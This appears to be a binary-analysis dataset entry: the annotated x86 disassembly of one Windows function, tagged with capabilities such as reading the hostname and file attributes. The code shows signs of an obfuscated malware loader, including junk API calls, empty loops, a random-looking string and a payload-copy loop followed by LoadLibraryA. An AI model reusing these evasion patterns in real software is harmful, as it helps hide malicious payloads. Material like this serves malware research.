Function at 0x40bee5
Capabilities:
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1060
call fcn.0040b700
mov eax, dword [0x433090]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
xor eax, eax
cmp eax, 0x180
jne 0x40bf1a
mov ecx, dword [0x4367e4]
add ecx, 0xa231
mov dword [0x1f7e024], ecx
cmp dword [0x1f7e024], 0x141
jne 0x40bf37
or dword [0x43737c], 0xffffffff
mov dword [0x437378], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x40bf01
push esi
xor esi, esi
cmp esi, 0x562d05
jne 0x40bf54
mov eax, dword [0x433fd8]
mov dword [0x1f7e154], eax
cmp dword [0x1f7e024], 0x3c
jne 0x40bf64
push ebx
call dword [sym.imp.KERNEL32.dll_LocalLock]
inc esi
cmp esi, 0x5f6c74
jl 0x40bf42
cmp dword [0x1f7e024], 0x7c
jne 0x40c048
push edi
lea eax, [ebp - 0x1044]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp - 0x101c]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor eax, eax
mov word [ebp - 0x1034], ax
lea edi, [ebp - 0x1032]
stosw word es:[edi], ax
mov word [ebp - 0x1030], ax
lea edi, [ebp - 0x102e]
stosw word es:[edi], ax
lea eax, [ebp - 0x1060]
push eax
push dword [ebp - 0x1030]
lea eax, [ebp - 0x1038]
push dword [ebp - 0x1034]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
xor eax, eax
mov dword [ebp - 0x1058], ebx
lea edi, [ebp - 0x1054]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1058]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFileScatter]
push ebx
lea eax, [ebp - 0x1004]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea eax, [ebp - 0x1040]
push eax
mov dword [ebp - 0x1040], ebx
mov dword [ebp - 0x103c], ebx
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0x431910
push 0x4372f0
call fcn.00401f9b
push ebx
call fcn.0040211c
add esp, 0xc
pop edi
cmp dword [0x1f7e024], 0x110a
jne 0x40c11f
push ebx
push ebx
mov dword [0x1f7e018], ebx
mov dword [0x1f7e01c], ebx
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea eax, [ebp - 0x1038]
push eax
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push str.vujahebetunagubidiyuxugacazezon
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc04]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push ebx
push ebx
call fcn.00401f5b
push ebx
push ebx
call fcn.00401f5b
add esp, 0x10
xor eax, eax
push 1
lea esi, [ebp - 0x1020]
mov dword [ebp - 0x1008], 7
mov dword [ebp - 0x100c], ebx
mov word [ebp - 0x101c], ax
call fcn.00401091
push ebx
push ebx
call fcn.00401f5b
push ebx
call fcn.00401d4d
push ebx
call fcn.004020e8
push ebx
push ebx
push ebx
call fcn.00401e1f
add esp, 0x1c
push 1
xor ebx, ebx
call fcn.0040104c
call fcn.0040bc34
xor ecx, ecx
cmp dword [0x1f7e024], ebx
jbe 0x40c171
mov eax, dword [0x1f7e154]
mov dword [ebp - 0x1030], eax
mov eax, 0xa231
add dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0x1030]
mov al, byte [eax + ecx]
mov edx, dword [0x1f7de6c]
mov byte [edx + ecx], al
mov eax, dword [0x1f7e024]
cmp eax, 0x5ab
jne 0x40c16c
mov dword [0x1f7de70], 0x19b0
inc ecx
cmp ecx, eax
jb 0x40c12e
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040bc89
call fcn.0040bc6b
call fcn.0040be76
xor eax, eax
cmp eax, 0xd606b
jne 0x40c199
call fcn.0040bc60
inc eax
cmp eax, 0x24e87d
jl 0x40c18d
mov esi, 0x1e4165
cmp dword [0x1f7e024], 0xcc1
jne 0x40c1bb
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
cmp dword [0x1f7e024], 0x7c4
mov dword [0x1f7e020], 0x8e46a6f0
jne 0x40c1d9
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
dec esi
jne 0x40c1a6
pop esi
cmp ebx, 0x408e
jle 0x40c1f1
cmp dword [ebp - 0x1024], 0xf5bed7
jne 0x40c1fa
inc ebx
cmp ebx, 0x687ed2
jl 0x40c1dd
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00401ab5
leave
ret